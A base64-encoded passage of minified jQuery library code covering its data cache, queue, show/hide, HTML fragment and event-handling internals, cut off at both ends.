13KG4pKWZvcihzIGluIGk9ITAsbikkKGUsdCxzLG5bc10sITAsbyxhKTtlbHNlIGlmKHZvaWQgMCE9PXImJihpPSEwLG0ocil8fChhPSEwKSxsJiYoYT8odC5jYWxsKGUsciksdD1udWxsKToobD10LHQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBsLmNhbGwoUyhlKSxuKX0pKSx0KSlmb3IoO3M8dTtzKyspdChlW3NdLG4sYT9yOnIuY2FsbChlW3NdLHMsdChlW3NdLG4pKSk7cmV0dXJuIGk/ZTpsP3QuY2FsbChlKTp1P3QoZVswXSxuKTpvfSxfPS9eLW1zLS8sej0vLShbYS16XSkvZztmdW5jdGlvbiBVKGUsdCl7cmV0dXJuIHQudG9VcHBlckNhc2UoKX1mdW5jdGlvbiBYKGUpe3JldHVybiBlLnJlcGxhY2UoXywibXMtIikucmVwbGFjZSh6LFUpfXZhciBWPWZ1bmN0aW9uKGUpe3JldHVybiAxPT09ZS5ub2RlVHlwZXx8OT09PWUubm9kZVR5cGV8fCErZS5ub2RlVHlwZX07ZnVuY3Rpb24gRygpe3RoaXMuZXhwYW5kbz1TLmV4cGFuZG8rRy51aWQrK31HLnVpZD0xLEcucHJvdG90eXBlPXtjYWNoZTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHR8fCh0PXt9LFYoZSkmJihlLm5vZGVUeXBlP2VbdGhpcy5leHBhbmRvXT10Ok9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHRoaXMuZXhwYW5kbyx7dmFsdWU6dCxjb25maWd1cmFibGU6ITB9KSkpLHR9LHNldDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaT10aGlzLmNhY2hlKGUpO2lmKCJzdHJpbmciPT10eXBlb2YgdClpW1godCldPW47ZWxzZSBmb3IociBpbiB0KWlbWChyKV09dFtyXTtyZXR1cm4gaX0sZ2V0OmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHZvaWQgMD09PXQ/dGhpcy5jYWNoZShlKTplW3RoaXMuZXhwYW5kb10mJmVbdGhpcy5leHBhbmRvXVtYKHQpXX0sYWNjZXNzOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gdm9pZCAwPT09dHx8dCYmInN0cmluZyI9PXR5cGVvZiB0JiZ2b2lkIDA9PT1uP3RoaXMuZ2V0KGUsdCk6KHRoaXMuc2V0KGUsdCxuKSx2b2lkIDAhPT1uP246dCl9LHJlbW92ZTpmdW5jdGlvbihlLHQpe3ZhciBuLHI9ZVt0aGlzLmV4cGFuZG9dO2lmKHZvaWQgMCE9PXIpe2lmKHZvaWQgMCE9PXQpe249KHQ9QXJyYXkuaXNBcnJheSh0KT90Lm1hcChYKToodD1YKHQpKWluIHI/W3RdOnQubWF0Y2goUCl8fFtdKS5sZW5ndGg7d2hpbGUobi0tKWRlbGV0ZSByW3Rbbl1dfSh2b2lkIDA9PT10fHxTLmlzRW1wdHlPYmplY3QocikpJiYoZS5ub2RlVHlwZT9lW3RoaXMuZXhwYW5kb109dm9pZCAwOmRlbGV0ZSBlW3RoaXMuZXhwYW5kb10pfX0saGFzRGF0YTpmdW5jdGlvbihlKXt2YXIgdD1lW3RoaXMuZXhwYW5kb107cmV0dXJuIHZvaWQgMCE9PXQmJiFTLmlzRW1wdHlPYmplY3QodCl9fTt2YXIgWT1uZXcgRyxRPW5ldyBHLEo9L14oPzpce1tcd1xXXSpcfXxcW1tcd1xXXSpcXSkkLyxLPS9bQS1aXS9nO2Z1bmN0aW9uIFooZSx0LG4pe3ZhciByLGk7aWYodm9pZCAwPT09biYmMT09PWUubm9kZVR5cGUpaWYocj0iZGF0YS0iK3QucmVwbGFjZShLLCItJCYiKS50b0xvd2VyQ2FzZSgpLCJzdHJpbmciPT10eXBlb2Yobj1lLmdldEF0dHJpYnV0ZShyKSkpe3RyeXtuPSJ0cnVlIj09PShpPW4pfHwiZmFsc2UiIT09aSYmKCJudWxsIj09PWk/bnVsbDppPT09K2krIiI/K2k6Si50ZXN0KGkpP0pTT04ucGFyc2UoaSk6aSl9Y2F0Y2goZSl7fVEuc2V0KGUsdCxuKX1lbHNlIG49dm9pZCAwO3JldHVybiBufVMuZXh0ZW5kKHtoYXNEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiBRLmhhc0RhdGEoZSl8fFkuaGFzRGF0YShlKX0sZGF0YTpmdW5jdGlvbihlLHQsbil7cmV0dXJuIFEuYWNjZXNzKGUsdCxuKX0scmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1EucmVtb3ZlKGUsdCl9LF9kYXRhOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gWS5hY2Nlc3MoZSx0LG4pfSxfcmVtb3ZlRGF0YTpmdW5jdGlvbihlLHQpe1kucmVtb3ZlKGUsdCl9fSksUy5mbi5leHRlbmQoe2RhdGE6ZnVuY3Rpb24obixlKXt2YXIgdCxyLGksbz10aGlzWzBdLGE9byYmby5hdHRyaWJ1dGVzO2lmKHZvaWQgMD09PW4pe2lmKHRoaXMubGVuZ3RoJiYoaT1RLmdldChvKSwxPT09by5ub2RlVHlwZSYmIVkuZ2V0KG8sImhhc0RhdGFBdHRycyIpKSl7dD1hLmxlbmd0aDt3aGlsZSh0LS0pYVt0XSYmMD09PShyPWFbdF0ubmFtZSkuaW5kZXhPZigiZGF0YS0iKSYmKHI9WChyLnNsaWNlKDUpKSxaKG8scixpW3JdKSk7WS5zZXQobywiaGFzRGF0YUF0dHJzIiwhMCl9cmV0dXJuIGl9cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBuP3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbil9KTokKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ7aWYobyYmdm9pZCAwPT09ZSlyZXR1cm4gdm9pZCAwIT09KHQ9US5nZXQobyxuKSk/dDp2b2lkIDAhPT0odD1aKG8sbikpP3Q6dm9pZCAwO3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbixlKX0pfSxudWxsLGUsMTxhcmd1bWVudHMubGVuZ3RoLG51bGwsITApfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtRLnJlbW92ZSh0aGlzLGUpfSl9fSksUy5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlKXJldHVybiB0PSh0fHwiZngiKSsicXVldWUiLHI9WS5nZXQoZSx0KSxuJiYoIXJ8fEFycmF5LmlzQXJyYXkobik/cj1ZLmFjY2VzcyhlLHQsUy5tYWtlQXJyYXkobikpOnIucHVzaChuKSkscnx8W119LGRlcXVldWU6ZnVuY3Rpb24oZSx0KXt0PXR8fCJmeCI7dmFyIG49Uy5xdWV1ZShlLHQpLHI9bi5sZW5ndGgsaT1uLnNoaWZ0KCksbz1TLl9xdWV1ZUhvb2tzKGUsdCk7ImlucHJvZ3Jlc3MiPT09aSYmKGk9bi5zaGlmdCgpLHItLSksaSYmKCJmeCI9PT10JiZuLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgby5zdG9wLGkuY2FsbChlLGZ1bmN0aW9uKCl7Uy5kZXF1ZXVlKGUsdCl9LG8pKSwhciYmbyYmby5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGUsdCl7dmFyIG49dCsicXVldWVIb29rcyI7cmV0dXJuIFkuZ2V0KGUsbil8fFkuYWNjZXNzKGUsbix7ZW1wdHk6Uy5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7WS5yZW1vdmUoZSxbdCsicXVldWUiLG5dKX0pfSl9fSksUy5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKHQsbil7dmFyIGU9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIHQmJihuPXQsdD0iZngiLGUtLSksYXJndW1lbnRzLmxlbmd0aDxlP1MucXVldWUodGhpc1swXSx0KTp2b2lkIDA9PT1uP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9Uy5xdWV1ZSh0aGlzLHQsbik7Uy5fcXVldWVIb29rcyh0aGlzLHQpLCJmeCI9PT10JiYiaW5wcm9ncmVzcyIhPT1lWzBdJiZTLmRlcXVldWUodGhpcyx0KX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtTLmRlcXVldWUodGhpcyxlKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnF1ZXVlKGV8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0xLGk9Uy5EZWZlcnJlZCgpLG89dGhpcyxhPXRoaXMubGVuZ3RoLHM9ZnVuY3Rpb24oKXstLXJ8fGkucmVzb2x2ZVdpdGgobyxbb10pfTsic3RyaW5nIiE9dHlwZW9mIGUmJih0PWUsZT12b2lkIDApLGU9ZXx8ImZ4Ijt3aGlsZShhLS0pKG49WS5nZXQob1thXSxlKyJxdWV1ZUhvb2tzIikpJiZuLmVtcHR5JiYocisrLG4uZW1wdHkuYWRkKHMpKTtyZXR1cm4gcygpLGkucHJvbWlzZSh0KX19KTt2YXIgZWU9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsdGU9bmV3IFJlZ0V4cCgiXig/OihbKy1dKT18KSgiK2VlKyIpKFthLXolXSopJCIsImkiKSxuZT1bIlRvcCIsIlJpZ2h0IiwiQm90dG9tIiwiTGVmdCJdLHJlPUUuZG9jdW1lbnRFbGVtZW50LGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKX0sb2U9e2NvbXBvc2VkOiEwfTtyZS5nZXRSb290Tm9kZSYmKGllPWZ1bmN0aW9uKGUpe3JldHVybiBTLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKXx8ZS5nZXRSb290Tm9kZShvZSk9PT1lLm93bmVyRG9jdW1lbnR9KTt2YXIgYWU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4ibm9uZSI9PT0oZT10fHxlKS5zdHlsZS5kaXNwbGF5fHwiIj09PWUuc3R5bGUuZGlzcGxheSYmaWUoZSkmJiJub25lIj09PVMuY3NzKGUsImRpc3BsYXkiKX07ZnVuY3Rpb24gc2UoZSx0LG4scil7dmFyIGksbyxhPTIwLHM9cj9mdW5jdGlvbigpe3JldHVybiByLmN1cigpfTpmdW5jdGlvbigpe3JldHVybiBTLmNzcyhlLHQsIiIpfSx1PXMoKSxsPW4mJm5bM118fChTLmNzc051bWJlclt0XT8iIjoicHgiKSxjPWUubm9kZVR5cGUmJihTLmNzc051bWJlclt0XXx8InB4IiE9PWwmJit1KSYmdGUuZXhlYyhTLmNzcyhlLHQpKTtpZihjJiZjWzNdIT09bCl7dS89MixsPWx8fGNbM10sYz0rdXx8MTt3aGlsZShhLS0pUy5zdHlsZShlLHQsYytsKSwoMS1vKSooMS0obz1zKCkvdXx8LjUpKTw9MCYmKGE9MCksYy89bztjKj0yLFMuc3R5bGUoZSx0LGMrbCksbj1ufHxbXX1yZXR1cm4gbiYmKGM9K2N8fCt1fHwwLGk9blsxXT9jKyhuWzFdKzEpKm5bMl06K25bMl0sciYmKHIudW5pdD1sLHIuc3RhcnQ9YyxyLmVuZD1pKSksaX12YXIgdWU9e307ZnVuY3Rpb24gbGUoZSx0KXtmb3IodmFyIG4scixpLG8sYSxzLHUsbD1bXSxjPTAsZj1lLmxlbmd0aDtjPGY7YysrKShyPWVbY10pLnN0eWxlJiYobj1yLnN0eWxlLmRpc3BsYXksdD8oIm5vbmUiPT09biYmKGxbY109WS5nZXQociwiZGlzcGxheSIpfHxudWxsLGxbY118fChyLnN0eWxlLmRpc3BsYXk9IiIpKSwiIj09PXIuc3R5bGUuZGlzcGxheSYmYWUocikmJihsW2NdPSh1PWE9bz12b2lkIDAsYT0oaT1yKS5vd25lckRvY3VtZW50LHM9aS5ub2RlTmFtZSwodT11ZVtzXSl8fChvPWEuYm9keS5hcHBlbmRDaGlsZChhLmNyZWF0ZUVsZW1lbnQocykpLHU9Uy5jc3MobywiZGlzcGxheSIpLG8ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKSwibm9uZSI9PT11JiYodT0iYmxvY2siKSx1ZVtzXT11KSkpKToibm9uZSIhPT1uJiYobFtjXT0ibm9uZSIsWS5zZXQociwiZGlzcGxheSIsbikpKTtmb3IoYz0wO2M8ZjtjKyspbnVsbCE9bFtjXSYmKGVbY10uc3R5bGUuZGlzcGxheT1sW2NdKTtyZXR1cm4gZX1TLmZuLmV4dGVuZCh7c2hvdzpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzLCEwKX0saGlkZTpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzKX0sdG9nZ2xlOmZ1bmN0aW9uKGUpe3JldHVybiJib29sZWFuIj09dHlwZW9mIGU/ZT90aGlzLnNob3coKTp0aGlzLmhpZGUoKTp0aGlzLmVhY2goZnVuY3Rpb24oKXthZSh0aGlzKT9TKHRoaXMpLnNob3coKTpTKHRoaXMpLmhpZGUoKX0pfX0pO3ZhciBjZSxmZSxwZT0vXig/OmNoZWNrYm94fHJhZGlvKSQvaSxkZT0vPChbYS16XVteXC9cMD5ceDIwXHRcclxuXGZdKikvaSxoZT0vXiR8Xm1vZHVsZSR8XC8oPzpqYXZhfGVjbWEpc2NyaXB0L2k7Y2U9RS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkuYXBwZW5kQ2hpbGQoRS5jcmVhdGVFbGVtZW50KCJkaXYiKSksKGZlPUUuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJ0eXBlIiwicmFkaW8iKSxmZS5zZXRBdHRyaWJ1dGUoImNoZWNrZWQiLCJjaGVja2VkIiksZmUuc2V0QXR0cmlidXRlKCJuYW1lIiwidCIpLGNlLmFwcGVuZENoaWxkKGZlKSx5LmNoZWNrQ2xvbmU9Y2UuY2xvbmVOb2RlKCEwKS5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5jaGVja2VkLGNlLmlubmVySFRNTD0iPHRleHRhcmVhPng8L3RleHRhcmVhPiIseS5ub0Nsb25lQ2hlY2tlZD0hIWNlLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmRlZmF1bHRWYWx1ZSxjZS5pbm5lckhUTUw9IjxvcHRpb24+PC9vcHRpb24+Iix5Lm9wdGlvbj0hIWNlLmxhc3RDaGlsZDt2YXIgZ2U9e3RoZWFkOlsxLCI8dGFibGU+IiwiPC90YWJsZT4iXSxjb2w6WzIsIjx0YWJsZT48Y29sZ3JvdXA+IiwiPC9jb2xncm91cD48L3RhYmxlPiJdLHRyOlsyLCI8dGFibGU+PHRib2R5PiIsIjwvdGJvZHk+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sX2RlZmF1bHQ6WzAsIiIsIiJdfTtmdW5jdGlvbiB2ZShlLHQpe3ZhciBuO3JldHVybiBuPSJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZT9lLmdldEVsZW1lbnRzQnlUYWdOYW1lKHR8fCIqIik6InVuZGVmaW5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGw/ZS5xdWVyeVNlbGVjdG9yQWxsKHR8fCIqIik6W10sdm9pZCAwPT09dHx8dCYmQShlLHQpP1MubWVyZ2UoW2VdLG4pOm59ZnVuY3Rpb24geWUoZSx0KXtmb3IodmFyIG49MCxyPWUubGVuZ3RoO248cjtuKyspWS5zZXQoZVtuXSwiZ2xvYmFsRXZhbCIsIXR8fFkuZ2V0KHRbbl0sImdsb2JhbEV2YWwiKSl9Z2UudGJvZHk9Z2UudGZvb3Q9Z2UuY29sZ3JvdXA9Z2UuY2FwdGlvbj1nZS50aGVhZCxnZS50aD1nZS50ZCx5Lm9wdGlvbnx8KGdlLm9wdGdyb3VwPWdlLm9wdGlvbj1bMSwiPHNlbGVjdCBtdWx0aXBsZT0nbXVsdGlwbGUnPiIsIjwvc2VsZWN0PiJdKTt2YXIgbWU9Lzx8JiM/XHcrOy87ZnVuY3Rpb24geGUoZSx0LG4scixpKXtmb3IodmFyIG8sYSxzLHUsbCxjLGY9dC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkscD1bXSxkPTAsaD1lLmxlbmd0aDtkPGg7ZCsrKWlmKChvPWVbZF0pfHwwPT09bylpZigib2JqZWN0Ij09PXcobykpUy5tZXJnZShwLG8ubm9kZVR5cGU/W29dOm8pO2Vsc2UgaWYobWUudGVzdChvKSl7YT1hfHxmLmFwcGVuZENoaWxkKHQuY3JlYXRlRWxlbWVudCgiZGl2IikpLHM9KGRlLmV4ZWMobyl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCksdT1nZVtzXXx8Z2UuX2RlZmF1bHQsYS5pbm5lckhUTUw9dVsxXStTLmh0bWxQcmVmaWx0ZXIobykrdVsyXSxjPXVbMF07d2hpbGUoYy0tKWE9YS5sYXN0Q2hpbGQ7Uy5tZXJnZShwLGEuY2hpbGROb2RlcyksKGE9Zi5maXJzdENoaWxkKS50ZXh0Q29udGVudD0iIn1lbHNlIHAucHVzaCh0LmNyZWF0ZVRleHROb2RlKG8pKTtmLnRleHRDb250ZW50PSIiLGQ9MDt3aGlsZShvPXBbZCsrXSlpZihyJiYtMTxTLmluQXJyYXkobyxyKSlpJiZpLnB1c2gobyk7ZWxzZSBpZihsPWllKG8pLGE9dmUoZi5hcHBlbmRDaGlsZChvKSwic2NyaXB0IiksbCYmeWUoYSksbil7Yz0wO3doaWxlKG89YVtjKytdKWhlLnRlc3Qoby50eXBlfHwiIikmJm4ucHVzaChvKX1yZXR1cm4gZn12YXIgYmU9L15rZXkvLHdlPS9eKD86bW91c2V8cG9pbnRlcnxjb250ZXh0bWVudXxkcmFnfGRyb3ApfGNsaWNrLyxUZT0vXihbXi5dKikoPzpcLiguKyl8KS87ZnVuY3Rpb24gQ2UoKXtyZXR1cm4hMH1mdW5jdGlvbiBFZSgpe3JldHVybiExfWZ1bmN0aW9uIFNlKGUsdCl7cmV0dXJuIGU9PT1mdW5jdGlvbigpe3RyeXtyZXR1cm4gRS5hY3RpdmVFbGVtZW50fWNhdGNoKGUpe319KCk9PSgiZm9jdXMiPT09dCl9ZnVuY3Rpb24ga2UoZSx0LG4scixpLG8pe3ZhciBhLHM7aWYoIm9iamVjdCI9PXR5cGVvZiB0KXtmb3IocyBpbiJzdHJpbmciIT10eXBlb2YgbiYmKHI9cnx8bixuPXZvaWQgMCksdClrZShlLHMsbixyLHRbc10sbyk7cmV0dXJuIGV9aWYobnVsbD09ciYmbnVsbD09aT8oaT1uLHI9bj12b2lkIDApOm51bGw9PWkmJigic3RyaW5nIj09dHlwZW9mIG4/KGk9cixyPXZvaWQgMCk6KGk9cixyPW4sbj12b2lkIDApKSwhMT09PWkpaT1FZTtlbHNlIGlmKCFpKXJldHVybiBlO3JldHVybiAxPT09byYmKGE9aSwoaT1mdW5jdGlvbihlKXtyZXR1cm4gUygpLm9mZihlKSxhLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLmd1aWQ9YS5ndWlkfHwoYS5ndWlkPVMuZ3VpZCsrKSksZS5lYWNoKGZ1bmN0aW9uKCl7Uy5ldmVudC5hZGQodGhpcyx0LGkscixuKX0pfWZ1bmN0aW9uIEFlKGUsaSxvKXtvPyhZLnNldChlLGksITEpLFMuZXZlbnQuYWRkKGUsaSx7bmFtZXNwYWNlOiExLGhhbmRsZXI6ZnVuY3Rpb24oZSl7dmFyIHQsbixyPVkuZ2V0KHRoaXMsaSk7aWYoMSZlLmlzVHJpZ2dlciYmdGhpc1tpXSl7aWYoci5sZW5ndGgpKFMuZXZlbnQuc3BlY2lhbFtpXXx8e30pLmRlbGVnYXRlVHlwZSYmZS5zdG9wUHJvcGFnYXRpb24oKTtlbHNlIGlmKHI9cy5jYWxsKGFyZ3VtZW50cyksWS5zZXQodGhpcyxpLHIpLHQ9byh0aGlzLGkpLHRoaXNbaV0oKSxyIT09KG49WS5nZXQodGhpcyxpKSl8fHQ/WS5zZXQodGhpcyxpLCExKTpuPXt9LHIhPT1uKXJldHVybiBlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbigpLGUucHJldmVudERlZmF1bHQoKSxuLnZhbHVlfWVsc2Ugci5sZW5ndGgmJihZLnNldCh0aGlzLGkse3ZhbHVlOlMuZXZlbnQudHJpZ2dlcihTLmV4dGVuZChyWzBdLFMuRXZlbnQucHJvdG90eXBlKSxyLnNsaWNlKDEpLHRoaXMpfSksZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSl9fSkpOnZvaWQgMD09PVkuZ2V0KGUsaSkmJlMuZXZlbnQuYWRkKGUsaSxDZSl9Uy5ldmVudD17Z2xvYmFsOnt9LGFkZDpmdW5jdGlvbih0LGUsbixyLGkpe3ZhciBvLGEscyx1LGwsYyxmLHAsZCxoLGcsdj1ZLmdldCh0KTtpZihWKHQpKXtuLmhhbmRsZXImJihuPShvPW4pLmhhbmRsZXIsaT1vLnNlbGVjdG9yKSxpJiZTLmZpbmQubWF0Y2hlc1NlbGVjdG9yKHJlLGkpLG4uZ3VpZHx8KG4uZ3VpZD1TLmd1aWQrKyksKHU9di5ldmVudHMpfHwodT12LmV2ZW50cz1PYmplY3QuY3JlYXRlKG51bGwpKSwoYT12LmhhbmRsZSl8fChhPXYuaGFuZGxlPWZ1bmN0aW9uKGUpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgUyYmUy5ldmVudC50cmlnZ2VyZWQhPT1lLnR5cGU/Uy5ldmVudC5kaXNwYXRjaC5hcHBseSh0LGFyZ3VtZW50cyk6dm9pZCAwfSksbD0oZT0oZXx8IiIpLm1hdGNoKFApfHxbIiJdKS5sZW5ndGg7d2hpbGUobC0tKWQ9Zz0ocz1UZS5leGVjKGVbbF0pfHxbXSlbMV0saD0oc1syXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLGQmJihmPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30sZD0oaT9mLmRlbGVnYXRlVHlwZTpmLmJpbmRUeXBlKXx8ZCxmPVMuZXZlbnQuc3BlY2lhbFtkXXx8e30sYz1TLmV4dGVuZCh7dHlwZTpkLG9yaWdUeXBlOmcsZGF0YTpyLGhhbmRsZXI6bixndWlkOm4uZ3VpZCxzZWxlY3RvcjppLG5lZWRzQ29udGV4dDppJiZTLmV4cHIubWF0Y2gubmVlZHNDb250ZXh0LnRlc3QoaSksbmFtZXNwYWNlOmguam9pbigiLiIpfSxvKSwocD11W2RdKXx8KChwPXVbZF09W10pLmRlbGVnYXRlQ291bnQ9MCxmLnNldHVwJiYhMSE9PWYuc2V0dXAuY2FsbCh0LHIsaCxhKXx8dC5hZGRFdmVudExpc3RlbmVyJiZ0LmFkZEV2ZW50TGlzdGVuZXIoZCxhKSksZi5hZGQmJihmLmFkZC5jYWxsKHQsYyksYy5oYW5kbGVyLmd1aWR8fChjLmhhbmRsZXIuZ3VpZD1uLmd1aWQpKSxpP3Auc3BsaWNlKHAuZGVsZWdhdGVDb3VudCsrLDAsYyk6cC5wdXNoKGMpLFMuZXZlbnQuZ2xvYmFsW2RdPSEwKX19LHJlbW92ZTpmdW5jdGlvbihlLHQsbixyLGkpe3ZhciBvLGEscyx1LGwsYyxmLHAsZCxoLGcsdj1ZLmhhc0RhdGEoZSkmJlkuZ2V0KGUpO2lmKHYmJih1PXYuZXZlbnRzKSl7bD0odD0odHx8IiIpLm1hdGNoKFApfHxbIiJdKS5sZW5ndGg7d2hpbGUobC0tKWlmKGQ9Zz0ocz1UZS5leGVjKHRbbF0pfHxbXSlbMV0saD0oc1syXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLGQpe2Y9Uy5ldmVudC5zcGVjaWFsW2RdfHx7fSxwPXVbZD0ocj9mLmRlbGVnYXRlVHlwZTpmLmJpbmRUeXBlKXx8ZF18fFtdLHM9c1syXSYmbmV3IFJlZ0V4cCgiKF58XFwuKSIraC5qb2luKCJcXC4oPzouKlxcLnwpIikrIihcXC58JCkiKSxhPW89cC5sZW5ndGg7d2hpbGUoby0tKWM9cFtvXSwhaSYmZyE9PWMub3JpZ1R5cGV8fG4mJm4uZ3VpZCE9PWMuZ3VpZHx8cyYmIXMudGVzdChjLm5hbWVzcGFjZSl8fHImJnIhPT1jLnNlbGVjdG9yJiYoIioqIiE9PXJ8fCFjLnNlbGVjdG9yKXx8KHAuc3BsaWNlKG8sMSksYy5zZWxlY3RvciYmcC5kZWxlZ2F0ZUNvdW50LS0sZi5yZW1vdmUmJmYucmVtb3ZlLmNhbGwoZSxjKSk7YSYmIXAubGVuZ3RoJiYoZi50ZWFyZG93biYmITEhPT1mLnRlYXJkb3duLmNhbGwoZSxoLHYuaGFuZGxlKXx8Uy5yZW1vdmVFdmVudChlLGQsdi5oYW5kbGUpLGRlbGV0ZSB1W2RdKX1lbHNlIGZvcihkIGluIHUpUy5ldmVudC5yZW1vdmUoZSxkK3RbbF0sbixyLCEwKTtTLmlzRW1wdHlPYmplY3QodSkmJlkucmVtb3ZlKGUsImhhbmRsZSBldmVudHMiKX19LGRpc3BhdGNoOmZ1bmN0aW9uKGUpe3ZhciB0LG4scixpLG8sYSxzPW5ldyBBcnJheShhcmd1bWVudHMubGVuZ3RoKSx1PVMuZXZlbnQuZml4KGUpLGw9KFkuZ2V0KHRoaXMsImV2ZW50cyIpfHxPYmplY3QuY3JlYXRlKG51bGwpKVt1LnR5cGVdfHxbXSxjPVMuZXZlbnQuc3BlY2lhbFt1LnR5cGVdfHx7fTtmb3Ioc1swXT11LHQ9MTt0PGFyZ3VtZW50cy5sZW5ndGg7dCsrKXNbdF09YXJndW1lbnRzW3RdO2lmKHUuZGVsZWdhdGVUYXJnZXQ9dGhpcywhYy5wcmVEaXNwYXRjaHx8ITEhPT1jLnByZURpc3BhdGNoLmNhbGwodGhpcyx1KSl7YT1TLmV2ZW50LmhhbmRsZXJzLmNhbGwodGhpcyx1LGwpLHQ9MDt3aGlsZSgoaT1hW3QrK10pJiYhdS5pc1Byb3BhZ2F0aW9uU3RvcHBlZCgpKXt1LmN1cnJlbnRUYXJnZXQ9aS5lbGVtLG49MDt3aGlsZSgobz1pLmhhbmRsZXJzW24rK10pJiYhdS5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZCgpKXUucm5hbWVzcGFjZSYmITEhPT1vLm5hbWVzcGFjZSYmIXUucm5hbWVzcGFjZS50ZXN0KG8ubmFtZXNwYWNlKXx8KHUuaGFuZGxlT2JqPW8sdS5kYXRhPW8uZGF0YSx2b2lkIDAhPT0ocj0oKFMuZXZlbnQuc3BlY2lhbFtvLm9yaWdUeXBlXXx8e30pLmhhbmRsZXx8by5oYW5kbGVyKS5hcHBseShpLmVsZW0scykpJiYhMT09PSh1LnJlc3VsdD1yKSYmKHUucHJldmVudERlZmF1bHQoKSx1LnN0b3BQcm9wYWdhdGlvbigpKSl9cmV0dXJuIGMucG9zdERpc3BhdGNoJiZjLnBvc3REaXNwYXRjaC5jYWxsKHRoaXMsdSksdS5yZXN1bHR9fSxoYW5kbGVyczpmdW5jdGlvbihlLHQpe3ZhciBuLHIsaSxvLGEscz1bXSx1PXQuZGVsZWdhdGVDb3VudCxsPWUudGFyZ2V0O2lmKHUmJmwubm9kZVR5cGUmJiEoImNsaWNrIj09PWUudHlwZSYmMTw9ZS5idXR0b24pKWZvcig7bCE9PXRoaXM7bD1sLnBhcmVudE5vZGV8fHRoaXMpaWYoMT09PWwubm9kZVR5cGUmJigiY2xpY2siIT09ZS50eXBlfHwhMCE9PWwuZGlzYWJsZWQpKXtmb3Iobz1bXSxhPXt9LG49MDtuPHU7bisrKXZvaWQgMD09PWFbaT0ocj10W25dKS5zZWxlY3RvcisiICJdJiYoYVtpXT1yLm5lZWRzQ29udGV4dD8tMTxTKGksdGhpcykuaW5kZXgobCk6Uy5maW5kKGksdGhpcyxudWxsLFtsXSkubGVuZ3RoKSxhW2ldJiZvLnB1c2gocik7by5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOm99KX1yZXR1cm4gbD10aGlzLHU8dC5sZW5ndGgmJnMucHVzaCh7ZWxlbTpsLGhhbmRsZXJzOnQuc2xpY2UodSl9KSxzfSxhZGRQcm9wOmZ1bmN0aW9uKHQsZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KFMuRXZlbnQucHJvdG90eXBlLHQse2VudW1lcmFibGU6ITAsY29uZmlndXJhYmxlOiEwLGdldDptKGUpP2Z1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiBlKHRoaXMub3JpZ2luYWxFdmVudCl9OmZ1bmN0aW9uKCl7aWYodGhpcy5vcmlnaW5hbEV2ZW50KXJldHVybiB0aGlzLm9yaWdpbmFsRXZlbnRbdF19LHNldDpmdW5jdGlvbihlKXtPYmplY3QuZGVmaW5lUHJvcGVydHkodGhpcyx0LHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCx3cml0YWJsZTohMCx2YWx1ZTplfSl9fSl9LGZpeDpmdW5jdGlvbihlKXtyZXR1cm4gZVtTLmV4cGFuZG9dP